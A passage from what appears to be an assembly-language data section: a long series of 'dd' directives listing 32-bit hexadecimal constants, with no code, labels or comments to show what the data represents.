0F433DD3Ah, 4765EC01h, 0B99CB3DBh dd 3E9883CAh, 9048D8C4h, 9009F020h, 7930027h, 33B370F8h dd 8A76DA96h, 3F7B0B3Fh, 1371001Dh, 6CC04A1Eh, 4F670341h dd 10B3A803h, 7460FECAh, 7B4A4BD6h, 15548820h, 20B5002Bh dd 9F239D1h, 3104FF26h, 9C2AB714h, 0B04A34C3h, 98EB24h dd 0C0F0091Ah, 58022E38h, 8D40C200h, 0AE0BE8F7h, 0D77F2E0Fh dd 8ED40470h, 9C188032h, 0DE008446h, 0A68DDAA9h, 0E5B97Eh dd 0D5236BDBh, 0A45F0B87h, 7AAAD400h, 4A741D85h, 99E6005Bh dd 0B9D2BC58h, 0D113922Ch, 15007B35h, 4A229C47h, 0DCAC0EAEh dd 0BBA07721h, 5A23C34Ch, 0C2329907h, 0F8F0B0BEh, 7277A87Dh dd 656A58D0h, 0C1C6800h, 0C4D3B4F5h, 0FDA31403h, 0C04DA6E1h dd 0F4DD7263h, 3292030Fh, 0D63E3537h, 0B8414688h, 97D1DE3Fh dd 0AD0336D8h, 0D0D27618h, 2472B7FAh, 0A69F2Ch, 6736311Ch dd 0C141710h, 0F3F619h, 0E7F23B8Bh, 5162A6h, 1E25D20Eh dd 0D91101B8h, 84386600h, 43F4A7C5h, 756300B2h, 8DA0FEEEh dd 7700FB0Eh, 0E2D13565h, 391CED89h, 200F286h, 9E4AF9A0h dd 65009518h, 79ACE04Ch, 143BA72h, 0E8440B71h, 20EBD986h dd 2E7C0342h, 2123E30Eh, 447460A6h, 0F638F3h, 0B0F55A99h dd 8C29C59Eh, 0BD4FCA1Dh, 0C4AF330Fh, 5BC06E98h, 0DB16C7h dd 0D1E6A95Eh, 0F51AD48Dh, 7B009772h, 27998089h, 29DB87h dd 4F2A1E36h, 97D7940Fh, 789E0414h, 0C50E738Ch, 60A14C9Ch dd 5EEA915h, 0D21F00F9h, 2357582Fh, 8900A863h, 0D8D4FC3Fh dd 7A5F55h, 0D18E4C71h, 0C881F3A3h, 86787E07h, 14F3388Fh dd 0E03EA722h, 5888BEFDh, 50730096h, 617DA352h, 4000F72Dh dd 4D1767F2h, 11E3021h, 2F060807h, 0F97FA26Fh, 3F816A23h dd 8CCC9350h, 343200AAh, 0BA1F9ED1h, 15007FC0h, 275880EDh dd 0D59F25h, 9BBD2FDFh, 30D985CDh, 989E8A0Fh, 558BE2EAh dd 0F800C0D1h, 0C7FF69Dh, 88D00A70h, 620B2649h, 5D4127AAh dd 0E45B3200h, 0B203A2EEh, 9F434429h, 5CC2E098h, 116E00A0h dd 3277BAB5h, 0D41E9BAFh, 6F807B07h, 0AE356742h, 0B45800B2h dd 80F556BFh, 713E1C6Dh, 0A1BB8007h, 0B84B948Ch, 8D451A2Ch dd 0C8401872h, 5100820Fh, 44D0E06Bh, 0E968E1h, 3D8E6EDFh dd 1DB9A4B8h, 0D478A6EAh, 0FDA2C605h, 0BC003AD5h, 89B1EE85h dd 0E1F89Bh, 0A06047AEh, 0F392D51Dh, 224B9900h, 9EC55850h dd 2DE500A5h, 0A4BD602Eh, 0A8005932h, 930469CBh, 0FC55F2h dd 3FD452B5h, 0B2384F9h, 0F351C100h, 53F7D86Ch, 990938D9h dd 0FE720F80h, 0E2C80A95h, 63F5C400h, 0FCA77FB4h, 773300F3h dd 56442D7Bh, 0F4007EDDh, 6AC862D6h, 0FFB21C1h, 38615927h dd 5B109560h, 0B5008550h, 0DEA7F186h, 7363DBE7h, 0C41400A0h dd 6D71558Dh, 0F412628Eh, 671DA9BCh, 0B86C2100h, 1FF98A4Ch dd 0C0B4A6CDh, 1860B3A4h, 7703BE0Eh, 25A185EDh, 47A3A8FCh dd 834D0A93h, 28BD3228h, 0C31005Ch, 1091FE6Ch, 2A7319ECh dd 0EE784200h, 0EA59CA48h, 1A7FA24h, 2687C08Ah, 0DCDF3765h dd 18C40B2Ah, 0B380091Ch, 48B98128h, 2407BA66h, 0D0F32B2Ch dd 3E7E91BBh, 740034E2h, 0EE3B0569h, 0FC979F95h, 82920C9Eh dd 67407501h, 4963B700h, 0D14E5583h, 3B2672A7h, 0C00333CBh dd 0E5863D90h, 0D36F808Dh, 0B900C49Fh, 6A2C3F5Bh, 0F478C24h dd 0B3F93832h, 0D07B2607h, 3942E57h, 0E6291D01h, 0DCC2008h dd 218F1CCh, 0A73110F4h, 46C04961h, 6005F8Ch, 9AACA6F2h dd 0AF126Eh, 0B7D42319h, 6B3C4496h, 97D4C00h, 0BE37410Ah dd 980875C8h, 0B918076Fh, 0C0306964h, 39534B10h, 0C6235003h dd 0A875257Bh, 0E69F0DDh, 9256B70Bh, 0E0EBACC1h, 1440F4D8h dd 17A1DE03h, 0BAB45F5Ah, 2ED7802Bh, 0F3301BB2h, 0EB6E2F4h dd 0A55B696Ah, 0E97AF2C0h, 795C21B3h, 0A1A3001Ah, 4B57CB51h dd 0FA7801D3h, 0B2ECDFD2h, 0E46EC914h, 31007D48h, 1CBF115Eh dd 0DA322Dh, 50DE0C25h, 5FF3FB57h, 83607200h, 0E616B204h dd 9C1B00F0h, 3ECA8637h, 8B00EFD1h, 0DC038069h, 0F50F93h dd 6AA50DCFh, 4A63AF15h, 91A77000h, 0EDEA8D8Fh, 875075Eh dd 20379058h, 1CA5A436h, 8212FF01h, 0E8D3165Ah, 69ECE0DDh dd 0DBDD00ACh, 26B2719Bh, 7B038764h, 6CD80BC7h, 0F1200088h dd 6BE742F7h, 0C800AAFEh, 0B8D44E45h, 8AEEB1h, 5FB634B2h dd 9C40F16Eh, 39004CE8h, 0F7F6216Ch, 509582C8h, 0E4E05Dh dd 0CA65D37Eh, 76F37A9Ah, 54774FE0h, 2001E37Eh, 3AD72802h dd 51D4B233h, 0EF9E001Ch, 921B2656h, 76F8BA7Dh, 0AF3AC801h dd 7F0061Dh, 8556ECh, 8F7EC011h, 2E1FE583h, 1B00927Bh dd 0D65CF5B8h, 7AEE7D82h, 0AA393A6Eh, 88E8CC80h, 9889AF09h dd 600111FCh, 0B51DB615h, 2424DD05h, 0F48D0CDEh, 2119080h dd 18408E04h, 2C803923h, 80DBE414h, 2600DEE7h, 654ECAE9h dd 31C9DA3h, 6AAC07FCh, 0C5A0ED1Bh, 1F00CDD0h, 9B0F38ABh dd 2E089D2h, 6B48D4EBh, 6415D78h, 6798CBBDh, 66006321h dd 128095B2h, 1F3AC85h, 628481Ah, 0E43AFE40h, 7D506D46h dd 85002795h, 0ABBA3B4Dh, 142452h, 135070A0h, 0BDFE90D7h dd 0F3A5AE00h, 0E883734Eh, 0EDF51C28h, 0E6A4002Fh, 1B9057D4h dd 2D46D500h, 0BA2699F8h, 4A3100ACh, 7B8307CAh, 5DF88D80h dd 8644FF04h, 90C0F620h, 0A3892805h, 1B30C8ECh, 256F00ACh dd 8B4D6CDDh, 77000CE1h, 2EC09D1Ch, 488C38h, 92C3E42Fh dd 1D72697Bh, 5C8B5B0Ah, 3A18F287h, 0FF02122h, 119EED41h dd 0A5F80017h, 972C75B4h, 0B934D13Dh, 62C284D3h, 80800FC9h dd 0F1C5968h, 54BD04CAh, 0DDF8F200h, 320783FDh, 74AD3EE4h dd 0E7B524C0h, 0BAD3002Bh, 4DC939FBh, 0CC000767h, 3EFEEF28h dd 501F0FF3h, 306AD2B1h, 776123FDh, 8001CD2h, 0AC6CA865h dd 781EA69Fh, 63C5001Dh, 0C4F84FADh, 83009944h, 1EFBA89h dd 0F2DE3A19h, 957900FCh, 0A7591DA8h, 4F0754ABh, 0B12344DCh dd 0C29EAED0h, 45C7006Dh, 1AB2701Dh, 0E9000255h, 73CD6BD9h dd 1F17690h, 41DFE1A8h, 0CC5AFCB7h, 0BD001EBBh, 55B3E658h dd 795BBC60h, 0CADB00E7h, 59E4837Fh, 1000F8E0h, 9AF455A5h dd 47E15Fh, 0EE994C2Fh, 0A86ACED8h, 89FBA000h, 0E15C11E6h dd 0A3BB00D9h, 54FEA77Ah, 7006F48h, 14D0CC75h, 4A10A4h dd 0F63B238Eh, 98AE9F35h, 8B485C00h, 0BD0C9DCCh, 6CB60068h dd 2FCA3499h, 5002081h, 77627627h, 18B2CE4h, 70E2B09Bh dd 615341CCh, 0B74AF4D4h, 1D2B5F00h, 920A49A9h, 11970071h dd 0ABD6FE32h, 6800D17Ch, 43360441h, 56729Ah, 0C4B0165Fh dd 9CB59074h, 0C035F200h, 0AC7901B4h, 7BBD0073h, 37C392B0h dd 823E2B80h, 5800CCF0h, 2C3B0089h, 8821B614h, 9E3F808h dd 56D0AB22h, 0F89E3E00h, 0F50E4AF6h, 0A3935A33h, 99273BA0h dd 3FC42659h, 1CAB0073h dd 0DC4BFD6Eh, 61002F05h, 63DF8EF1h, 3A769Ch, 2101A5FAh dd 0A1431CBh, 5B952300h, 0E9B98FDBh, 69940087h, 1520B4BCh dd 0A93FCDF8h, 0B5C68082h, 13CAE2B9h, 22373FE3h, 3A7012ACh dd 6FBC280h, 0D5BCEFBEh, 5264BD00h, 41A9136Fh, 0B298F4h dd 84E81674h, 0CAC540D4h, 9D47FF07h, 6950FAA9h, 391F14Ch dd 7FDF6A14h, 0B7808E2Fh, 0C400CBF6h, 0FB478B62h, 739622h dd 9365E736h, 0BB04A168h, 0E53938h, 88BF74C6h, 1DA4B664h dd 6D3B5F7h, 61916BDCh, 0E35DEE1Fh, 5E14D780h, 0F79C0934h dd 89F4F0h, 5DCF853Dh, 0F0DF8A98h, 87F731C0h, 0EA10A7A4h dd 14AF0057h, 0E9C495B1h, 0E1CAD80h, 0E583060Fh, 0EB0309h dd 0DF885D20h, 9B497BA4h, 207AC5F2h, 47890500h, 0C80AF0D7h dd 0CB77B1h, 0C2783714h, 9869C1DEh, 0F1212E1Bh, 803F8A78h dd 9B68E018h, 38FC5Eh, 0F8B39AE9h, 0A2E89420h, 4B756B00h dd 0ECBFE0CDh, 637000D5h, 17260F3Ah, 270F648Ch, 80BDDDB7h dd 554CCBE0h, 7E7C0032h, 0B316DCB5h, 67173BC1h, 810E1B92h dd 2B8B20AFh, 9CA817h, 46C3F662h, 809AE1Ah, 287BE700h dd 1C680469h, 0CBBC005Dh, 18FF4F9Fh, 0CD002711h, 139CAFD7h dd 425C55h, 0DF8B780Bh, 1589811Ch, 4F3093Eh, 64A85FD4h dd 0E30B0AC0h, 14F2037Ch, 34F923ACh, 37C88188h, 9CFFD407h dd 10C0AA99h, 39211A0h, 3A3CD538h, 0B2D0E836h, 0C61FCA8Dh dd 830081ADh, 9D71DF37h, 2F9500B9h, 0DC87EF0Ah, 4BF0B846h dd 10E07530h, 0AECF383h, 8BC49DD3h, 20C980B0h, 130F8201h dd 92577F0Eh, 3B8EFD80h, 2FE4051h, 0E8F09BCBh, 7E97403h dd 0B39823ECh, 5C2D013Fh, 0C8002E6Bh, 556F38DDh, 0C67100EBh dd 0D9F635B4h, 0AD0FE5D6h, 8043CE44h, 0DE073C67h, 8925006Bh dd 0E293FEB7h, 1D78B910h, 0B66D4A01h, 41A5454Fh, 8000F321h dd 17B76946h, 5D814CC9h, 0F1364750h, 33D680B4h, 0F85C401Dh dd 0BAA307D5h, 0C4E18923h, 0D4D98CA0h, 0AC6420h, 57DDC9AFh dd 0ECDECF97h, 71089665h, 8C698000h, 91C8E5h, 6562CEFBh dd 1058CB8Bh, 9CA0A2F8h, 0DD73E3C7h, 50C44B3Ch, 9900A9BCh dd 22FD4CC1h, 0C1A2FC0h, 9D68FF6Ch, 700FD7A1h, 61D63329h dd 23ABD360h, 288D44F4h, 3C0F01Ah, 3BADC42Ah, 30006AC7h dd 0B429BA10h, 77185FEAh, 84566C9h, 0BD035112h, 3A9F9148h dd 0A6D5900Ah, 0B9C2015Ah, 0C4F64BB5h, 0A7D7D875h, 1340B0C0h dd 1D590Eh, 82912225h, 973739CAh, 16810500h, 0A99F421h dd 0AA580049h, 34F52BADh, 0F0039D9h, 0EDFD4553h, 1F6FC7h dd 0EECF24C2h, 0A9587626h, 518A8E00h, 28A217C8h, 57F90002h dd 3A67AEDBh, 600758Dh, 17692B4Bh, 1E611A35h, 0C0AC0D8Ch dd 9BB2A32Ah, 94013829h, 7CDBC78Fh, 0D2D04724h, 0D96900F9h dd 1F2CDD0Ah, 0F401F11Ah, 24967CCBh, 10CD5691h, 63F01761h dd 1A850081h, 5DDD768Ch, 0C007F3B2h, 7CE67AE1h, 0D1641B0h dd 98B3998h, 0A5DAEB80h, 1E541B97h, 0E18F6E0Ch, 8378DCh dd 0EFFE475h, 65E546ABh, 7806200Fh, 80C26091h, 18C433EDh dd 80905D0Fh, 6C00F686h, 918BB617h, 655504h, 7729C2CDh dd 0D9B1584Ch, 5E883C1Dh, 0B0B057DBh, 18A5462h, 7D820B7Fh dd 0D4ADBD3Ah, 0F3074F40h, 675DACA7h, 51DF3471h, 0E20B0C7h dd 26E979B7h, 4D13DCh, 210BBF80h, 0D10375AAh, 88DDC533h dd 0CBEC1C1Eh, 0C22E1E0Ah, 6002D0AFh, 7D3C9240h, 4DF8B260h dd 14BF98h, 55819EDBh, 1E650C85h, 0AE18820Eh, 6B6E7CDh dd 0AB0F5D3h, 80629729h, 5F998390h, 6862E73Ch, 80828518h dd 1610E384h, 30471840h, 797C39B7h, 88EDA700h, 4A26C063h dd 0E42C0054h, 0CE3058A3h, 0E9002447h, 0E68DF619h, 77AE4478h dd 5A7775h, 4D65BEB7h, 2400BABh, 0BB0A8D3Dh, 949F80C9h dd 1BC50F35h, 0B4F864h, 2F2ED4Ah, 0E69742F4h, 5D7CF00Eh dd 1D81C04Fh, 0F5D511h, 784BF766h, 2419B3E3h, 72573B00h dd 4E128D67h, 0CC7103A2h, 48EEA4D6h, 0FE007174h, 0C79DF067h dd 7555407h, 0D7A7156Dh, 75B44019h, 68000F6Bh, 4D422CE2h dd 5EC3F9h, 0ACB17870h, 64FF587Ah, 468FC600h, 0AED5B0ECh dd 126100EEh, 0B4BF5962h, 6410737Fh, 711D5A65h, 0FA9FFEC4h dd 0E01A4006h, 0C8FB1FFh, 0AE67EB00h, 1896BFDh, 0D99A00FBh dd 0F5FF7E5Bh, 4C266069h, 270075D6h, 8063DD73h, 618D606Ch dd 0DFC9D12h, 5300E67Ch, 0F085A1EAh, 3D996F4h, 0D1147361h dd 0FF913D05h, 330EF07Eh, 0CDACD703h, 184F54C4h, 20321B08h dd 0C500A293h, 0E41879DEh, 277398Bh, 1E7B261Fh, 0F8E058C0h dd 5600F4C1h, 94A2263h, 16FF048Bh, 0DF93DEh, 205A7506h dd 0B5632CD4h, 1B6608h, 0CA679A20h, 99988C92h, 0E4FA3800h dd 59F1427Dh, 0F51E003Ch, 324C1B71h, 401CC5Bh, 0DE890A8Ah dd 0C9E9E533h, 0F8CE6A20h, 96B51D76h, 3A92003Eh, 0BFA43320h dd 0E0E12300h, 996EE20Ch, 7148007Dh, 37EDCF2Eh, 0FE3C131Fh dd 4336F8F1h, 0DE58E8F5h, 0B7036368h, 44985A23h, 0C12E3460h dd 23FC4521h, 0B168F44Bh, 0CF0DB414h, 67CA08B0h, 0EAA4004h dd 9C210C8Dh, 215698CCh, 0F5E210EDh, 57467500h, 7A78D448h dd 0A49A5427h, 591A00ABh, 0BCC97137h, 0BA00678Ah, 452F0AC5h dd 139686Dh, 0E341C2B6h, 51FD1625h, 0C6579C4h, 7EC8088Eh dd 2971526Ah, 38F45E8h, 0C5DAF6A1h, 0E11D30C4h, 0D6C09B25h dd 0BC58131Bh, 0A1F00C6h, 8AFA673Fh, 8007632h, 0CD73CAF0h dd 82A0A6h, 123104Fh, 499DAB29h, 0A2C08D1Fh, 0F1D989h dd 11765E74h, 3DE608h, 4D95CAC8h, 0C0E95F6Bh, 4B2C0EB8h dd 0EA005010h, 0F3F41318h, 0A6310088h, 0DC58044Fh, 353BF561h dd 0D02F00E3h, 9481D980h, 560C0025h, 0C669F6EDh, 0D4EA1691h dd 294DF403h, 0E0E1E5B2h, 22EE86h, 844A6C68h, 0AC472615h dd 0E2F96600h, 9A3EA6BFh, 2A6F00BCh, 29BD30B9h, 160092DBh dd 9D11F999h, 75A96CE5h, 12FC3Fh, 1F1BAFECh, 3C5479F7h dd 81209100h, 5A47438Fh, 82500D3Bh, 8310FA12h, 51EBEE08h dd 0D87FC3F8h, 7FB2CB7h, 9BEA1E18h, 0BDB320E5h, 0ED006981h dd 1C8F9AE8h, 0C4DFD943h, 0E9BA29h, 16149538h, 8D1B001Ah dd 94DB8A67h, 0A830F146h, 1DB1AE27h, 145E0904h, 0FE8080A5h dd 63C35C56h, 61E89A0Fh, 78E180BAh, 7539A9h, 494EA773h dd 0DB112767h, 8C1C9FF0h, 2C00AE51h, 306C1332h, 2D01052Eh dd 87E1B4C9h, 0D3CAEDh, 6B1BBB64h, 9C00D584h, 355EBA6Fh dd 4E82B3h, 0FE861998h, 840746B2h, 9AB8491Eh, 0B2B5827h dd 0B7813AAAh, 80D79784h, 2B317B3h, 702FC301h, 0D23D7DDDh dd 1D097170h, 0B860BFh, 0C394644Eh, 181C3976h, 9983E120h dd 90D85080h, 1D49674h, 45303CFCh, 0E442EC3Ah, 6FB88766h dd 0A100DEE6h, 0A5B4A6CCh, 0E65B4E29h, 76A200C4h, 228E726Bh dd 8600C1FFh, 7C4CEBD3h, 0F251CA85h, 20A300DEh, 6FEFE1DCh dd 5C161D24h, 0A2002355h, 76832F5h, 88FC3D05h, 0C5D9D680h dd 433CCE0Fh, 0A9655F00h, 0EC73EB6Ch, 8A7889h, 0FD31061Fh dd 0D2E854A3h, 4A3B8F07h, 0EBC03787h, 0E8E500Ch, 0F72253D9h dd 3D5C33C0h, 4800740Dh, 0DABCCFD0h, 81D598h, 0B4C3EAA6h dd 42A488F1h, 6E7A3Dh, 0D9D4F769h, 0F58571h, 3F0CC758h dd 4B37C37Ch, 57499300h, 2DB07F07h, 9D2612F2h, 0EBE843h dd 0E242FC4Fh, 0E6036Ch dd 68DB0984h, 0BF77F4A8h, 1DF00F00h, 11C9BBF5h, 9BE03F6Eh dd 7FB80B00h, 0CBE4714h, 1E226A00h, 84498B71h, 0DAD90732h dd 40EC3F9Ch, 3E075601h, 74E78307h, 9700DF4Ch, 301C46DBh dd 0CFF00593h, 0C21E2C24h, 0EC01BC1h, 0AA318096h, 0DAF70065h dd 883EDCFCh, 0CD484407h, 64700028h, 0A4868DC4h, 0D95C0FBAh dd 0A385730Ch, 70DEC05Eh, 78C5C5E9h, 0F780DCC7h, 7439E08h dd 6C574BE3h, 4F1CC019h, 151D58E9h, 3514635Ah, 0CB0C0184h dd 4AB37AF4h, 95ED9840h, 288A0022h, 0A5FF401Eh, 48E265A6h dd 0B50FC701h, 55EE23D5h, 2924F0h, 14475427h, 5E5695E8h dd 5E1558h, 0ECA6F1DFh, 20380Eh, 0A2290C91h, 37A8938Eh dd 5C36D73Dh, 0C1C700E2h, 1BA3F9CBh, 196A00E8h, 0D70AEFB8h dd 46002242h, 7224FA84h, 0AD2387h, 660CD629h, 19F414B5h dd 6FD04100h, 0F3E4A45Ah, 0C1AC1ECEh, 0DAAA4CB1h, 0AF007510h dd 0CC4FE2EAh, 12D1C5h, 0AEEEA374h, 0C0399FA9h, 47FEF977h dd 18620800h, 4B722230h, 94C100D2h, 0BAC77FE5h, 670E190Fh dd 80AD1CEDh, 0F729F6D1h, 462100B5h, 2B1C776h, 0B7002796h dd 3E9E727Bh, 0A0EF58B4h, 0EA2288h, 73AEC73Bh, 48F58817h dd 9147A900h, 86AA1278h, 404EEB1h, 0C4603FD8h, 0C3B580F3h dd 5FE88ADEh, 0E7E657F4h, 85FE4600h, 0C272594Ah, 29F50024h dd 48305D50h, 0D700B590h, 125F8A8Eh, 71EEFC3h, 0C4D59CFCh dd 0FEA02EE2h, 4F21646Fh, 5C5EE724h, 4C415C00h, 0CA27A5Bh dd 0C4430291h, 0A07306B0h, 9837E31Eh, 89FBEB40h, 732F2C7Fh dd 400A00D6h, 70ABC9FEh, 0F73F588Dh, 5E3B9D7Dh, 47ECFC87h dd 0ACC19930h, 0C6950081h, 71128465h, 7B000EFBh, 150FD4B3h dd 0F9193Fh, 4540FC52h, 5B1BF847h, 8043AD00h, 323A942h dd 8FE039CFh, 91B4240Fh, 0CD12C5DFh, 6500BF39h, 897DB827h dd 655123Bh, 413400A9h, 8F605298h, 0C8C4BA00h, 73A58C7Ah dd 72B700CCh, 47957BDh, 5B00BF10h, 17322686h, 7B854BC9h dd 0C79D00ABh, 0F7102CEh, 0CF4C04Fh, 0B68E441Dh, 359E80F9h dd 0D894FEA7h, 7754005Eh, 38D863Ah, 3200145Ah, 4F5BCF61h dd 0B5C8D1h, 66413FB8h, 4A6FB239h, 38AA28C1h, 0AF7084ABh dd 9882h, 10F564A3h, 0FFADEE25h, 3CF28707h, 53414DC2h dd 5E45AE1h, 1B520001h, 865E2309h, 290F0E20h, 2078C63Dh dd 27C076Eh, 0FC2E4825h, 8A9EF601h, 0C077921Ah, 0F10051B6h dd 4C354D0Eh, 5D1B115h, 81F4E8A2h, 9E048033h, 0A60092E2h dd 0C6236510h, 3ACAB8h, 9F71EA37h, 40ABD558h, 80E40D3Ch dd 0DE9AF3A2h, 7B41892h, 0CB8141A7h, 0B6A07F4Fh, 0D04E90DDh dd 9CD48E01h, 0E33F9F15h, 72E807F3h, 403EC6CFh, 982A39A8h dd 0B433A903h, 800375DEh, 0BD79789Ch, 0D239E878h, 0F1820090h dd 5ED71463h, 6240077Bh, 0F0F69A69h, 2A9B39D6h, 77003498h dd 0C7541443h, 504D30Bh, 4DA618B1h, 0D5A28041h, 6F00ADDDh dd 75D10AF5h, 90B6F37Bh, 99E903F0h, 0D6D77AD2h, 0D100A078h dd 0B46D0E6Fh, 48611E66h, 100DC91h, 72234F8Bh, 68071396h dd 0B85C63C9h, 460E2C40h, 0E0A303F8h, 5486479Ah, 80913BF1h dd 4938201Ch, 1CDB2779h, 981EB6h, 0B8C9669h, 6C0053E4h dd 0EBE2F2Dh, 0A94FEDh, 0F5FF13Ch, 0AE31FC72h, 0C20C800h dd 7B54611Fh, 0A1DECBFh, 0D4B5D037h, 1797B9A8h, 5600035Fh dd 44A80583h, 0D20084FBh, 29A0AB02h, 955930h, 0F7FC234Dh dd 5F2AE575h, 0B505EA00h, 42C4EF98h, 0F2B00008h, 8B1A9A49h dd 181F859Dh, 0B9DCFEC6h, 71B5B780h, 0E2C139h, 4A9B8D26h dd 5126A82h, 89C43D00h, 65F7C33Ch, 0D4F50752h, 20D6AA84h dd 552794A9h, 0F6AFA8C0h, 1EC45E1h, 0FAC0D22Bh, 809FB3BFh dd 9C9221B8h, 0B3BCBAEh, 201F7B34h, 44F70480h, 0F207A087h dd 6DF7C59h, 404067D2h, 0B5E3CCh, 6B60B601h, 0CA1CB8C0h dd 4DC4EB0Eh, 0A87C607Ah, 0CB05547h, 9CCBBF0Fh, 4B000668h dd 75EDA0D3h, 2ACFFF2h, 0AE574D65h, 99C01CE1h, 0D5E4B024h dd 28FC4417h, 0C0F1FC0Eh, 9FAE21DEh, 0FD7D0E7Eh, 9565CF54h dd 0DAFC039h, 0E800426Ah, 0BC5BDA85h, 6DFD07Eh, 1C3648E4h dd 221F78F1h, 26BDC833h, 9E00ACADh, 8103CC4Ch, 880A054Ah dd 90371042h, 8B3DF338h, 0F0023B0h, 54E20D81h, 15D759h dd 2F07ED1Dh, 0FE236BC8h, 89DB400h, 6C228A4Dh, 6C13582Ah dd 9BD9BB00h, 0B19151D4h, 0EA772800h, 0C26761C6h, 0BB990042h dd 93F0FD9Ch, 703CE929h, 0C3C880AFh, 9981DDCBh, 6E02005Dh dd 64E3D50Ch, 7D1CD6D1h, 0C69898C5h, 0B15D40h, 0D83D6266h dd 0F1A16EBDh, 4360B500h, 0AD8B7C0Dh, 4793189Ch, 0A699C0F2h dd 600BD200h, 3F0D5464h, 0EE79006Fh, 158B3A38h, 0A872272Fh dd 62B1B38h, 0E559351h, 3DDD0038h, 0CB957BBEh, 0E61F3233h dd 64E8D41Ch, 9A80D2F7h, 35BA0B15h, 0A95EE303h, 0F42FA4h dd 3EDE01C9h, 5872ABD2h, 0AD5E8D00h, 2A74F583h, 0C9312ED8h dd 0ED5C002Ah, 62C2560Fh, 0A819A00Ch, 39541F5h, 0AF807012h dd 7EE0229Ch, 11005733h, 0A2A30894h, 6C25FCCh, 0D57F797Ch dd 9C00F00Bh, 0EC42E169h, 67E2E6h, 7F8F6BDEh, 0B70622F3h dd 97A71200h, 0F91E7CBAh, 57310081h, 45F28E84h, 8F00F5FFh dd 0BEA41925h, 34FCD0Bh, 6C7F183Ch, 0DCA958FDh, 0BF85D41Bh dd 1482D300h, 0C987B7A5h, 4FFC0EB5h, 0C765B9E0h, 65203834h dd 80F60321h, 1ED73B4Dh, 8D00A2D9h, 5C4728ABh, 0FD0373h dd 0BCF6A4B9h, 0CC8F1729h, 49690E30h, 401E82F0h, 4803B4E4h dd 0B1979092h, 0D9E2C08Fh, 2F81004Eh, 0D58EA94Dh, 0E7007514h dd 8F37451Ch, 3A35015Eh, 0CD009125h, 849B5C53h, 0E00FD02h dd 3B7C4D32h, 1F9EB356h, 0FE071F7h, 962C4Fh, 3E752AC1h dd 0A4A49222h, 0BEE28818h, 14E85F78h, 0A87A3119h, 983C4B1Fh dd 97CCB010h, 854EF600h, 0B5010F16h, 31B8C1AAh, 470EDB39h dd 837D4292h, 8038E5E2h, 1811C9FFh, 6AB0887Bh, 7B0F3F8Ch dd 0E18F0F01h, 5DB1DEBh, 542DF9DCh, 0B3F0F2h, 8C426F26h dd 5FCA406Ch, 0CF00D4FCh, 7F781CA7h, 59710D0h, 62C9C78Fh dd 44A000BCh, 0B92C43A3h, 84A220F5h, 7D374604h, 0FC80D1B8h dd 0A6A636Fh, 0F8F0A47Bh, 0FD6C5920h, 30430DD6h, 9947E032h dd 8ECA0026h, 0F44F0A1Ch, 0D0A8C727h, 71739C74h, 0C403F0E5h dd 950D661Fh, 5F582505h, 1AC7DC1Dh, 0E8B15712h, 0C5FCBF71h dd 24ECE8FCh, 1C3519EFh, 8B0B407Ah, 0DE08E250h, 4D00D07Dh dd 0CD0C1F16h, 7F1C56B8h, 0D5CE00D7h, 0C087B552h, 0C900E93Ah dd 65E7EF68h, 33D2167h, 0D5CC388Dh, 0B8CBECB5h, 16F2800Fh dd 40DC2170h, 48BEE6E3h, 10192000h, 7BD1A186h, 0EF622C1Fh dd 9A64CCC0h, 676989h, 0E57CA98Eh, 27B07D34h, 7BA7DF00h dd 0C41A5D57h, 217FC2Dh, 713C05E4h, 0A881FAE3h, 50C33A5Eh dd 35655F8Ch, 0A9C98803h, 0B845F170h, 127A9089h, 40D8D49Fh dd 0C85B7544h, 41000926h, 623892DAh, 6B0A666h, 130ECADFh dd 340051C4h, 5627AC0Fh, 21DD6h, 94144148h, 31369EF9h dd 2EE0700Eh, 21F16F62h, 591C4B50h, 9B8EC20h, 6E2AB401h dd 90003C0Fh, 0CB7CAC7Eh, 62A86500h, 0AFB152C4h, 6B57611h dd 0E02C84F3h, 100A087h, 5E0BD9C5h, 0BFEA765h, 0C67B8BB5h dd 0D89F4A80h, 0A200E5B3h, 5D39FBCAh, 7881E67h, 5E9A5808h dd 7A3A00ABh, 72007C86h dd 0BCE13F7Bh, 592675h, 0FC107463h, 3D8E602h, 803E643Eh dd 70F6ACB1h, 0D11571h, 8A5A86EAh, 0DE6DC463h, 16D02F00h dd 0C152D9DAh, 64FC00A2h, 661AFF31h, 0FE008148h, 2A72AEE1h dd 4F2386h, 0AF0F298h, 495A43A0h, 7A00CF7Dh, 46785D3Eh dd 7BC1FE0h, 0B53A9BCCh, 58B05073h, 0AC00ED8Ah, 6D4087C1h dd 4E71A6h, 5B64E586h, 66D967B9h, 749C1600h, 84034CE4h dd 62E700D6h, 79B2F1DFh, 7603EFE0h, 38C6DA0Ah, 8942A018h dd 0E25E3F83h, 92E3D483h, 47E8340Dh, 0E0038A67h, 0F92AAC98h dd 17380196h, 31B612B8h, 4CEDF897h, 0BEBA1100h, 5C76A795h dd 0F53B002Ch, 75B12117h, 201E510Ah, 0A6001EE9h, 0CA2C2FA0h dd 7E5E3B02h, 0B00A1600h, 671957C4h, 3A6080FFh, 4F3ED974h dd 1D1BE865h, 22DB97E9h, 14A80A00h, 7D39499Eh, 0DDB800C9h dd 50E06BEAh, 0AF07D8EEh, 0DA772A60h, 0E9D1F6h, 2939AE06h dd 61797AF5h, 7BEC2F1Dh, 66218618h, 0EC3A4FC6h, 0B4D100E8h dd 0F787AF52h, 60850F7Bh, 17E0CF1Dh, 69AB7710h, 48A6DB03h dd 0E1144D31h, 16E0DA0Bh, 0CD1D03FBh, 0D602F85Eh, 0D0C95BA9h dd 0DD00F485h, 1B881FA6h, 0ECFA5h, 0EB5E0414h, 576BB868h dd 0BBB56006h, 60C8C4AAh, 0CB7630F3h, 0B800EEE9h, 5B2D6048h dd 16A8D39h, 1D6556Bh, 80C40DBDh, 654EA28h, 0E8B3A7ADh dd 9290323Ah, 0A8A02808h, 5BF6749Bh, 83D4AF0Eh, 690017BCh dd 0B1396BE1h, 0F9A3193Bh, 0E02F5955h, 757FD39Bh, 33A0EA00h dd 7D6885A9h, 46BF00FDh, 596FFB1h, 99019C12h, 451FE71Dh dd 3F600EC7h, 49FD2C82h, 0A7E2010Ch, 0E8F99173h, 76138F7Bh dd 0EA06EA98h, 56118A3Ah, 0E2C004A5h, 0A6CE9BE0h, 8B96C500h dd 6BDD157Eh, 38800013h, 2FA288D6h, 6F00054Ch, 0C1648EF8h dd 0D939FEh, 0B8C57953h, 899430A1h, 5D9A4300h, 20F7D035h dd 4A04001Eh, 0C3A00626h, 0B5004562h, 0D321143Ch, 0E1DE429h dd 0CF9DCC6h, 2B94E00h, 85EE9940h, 